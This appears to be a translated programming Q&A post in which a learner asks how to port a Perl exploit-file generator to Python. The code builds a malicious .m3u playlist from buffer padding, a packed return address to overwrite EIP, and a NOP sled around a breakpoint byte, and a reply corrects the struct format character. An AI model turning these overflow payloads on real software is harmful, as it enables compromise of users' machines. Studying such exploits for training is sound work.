【问题标题】:Perl's Pack('V') function in Python?Python 中 Perl 的 Pack('V') 函数?
【发布时间】:2023-04-06 08:53:01
【问题描述】:

我最近一直在进行一些漏洞利用开发以准备参加培训课程,但在教程方面遇到了问题。我一直在关注我能找到的所有教程,使用 Python 而不是教程使用的语言,出于偏好。我正在尝试交叉编码所有内容,但我不知道如何交叉编码 Perl 的 Pack() 函数。

TL;DR:
我正在尝试将其翻译成 python

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

我找到了 Python 的 struct.pack() 函数,但是当我使用时

Fuzzed.write(struct.pack('V', 0x773D10A4))

,它会停止程序并且不起作用。我做错了什么?

这是我的全部源代码

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

【问题讨论】:

  • 您从哪里得到V 作为格式字符?那应该代表什么类型?将I 用于unsigned int(4 个字节)。

标签:
python
perl
exploit
pack
shellcode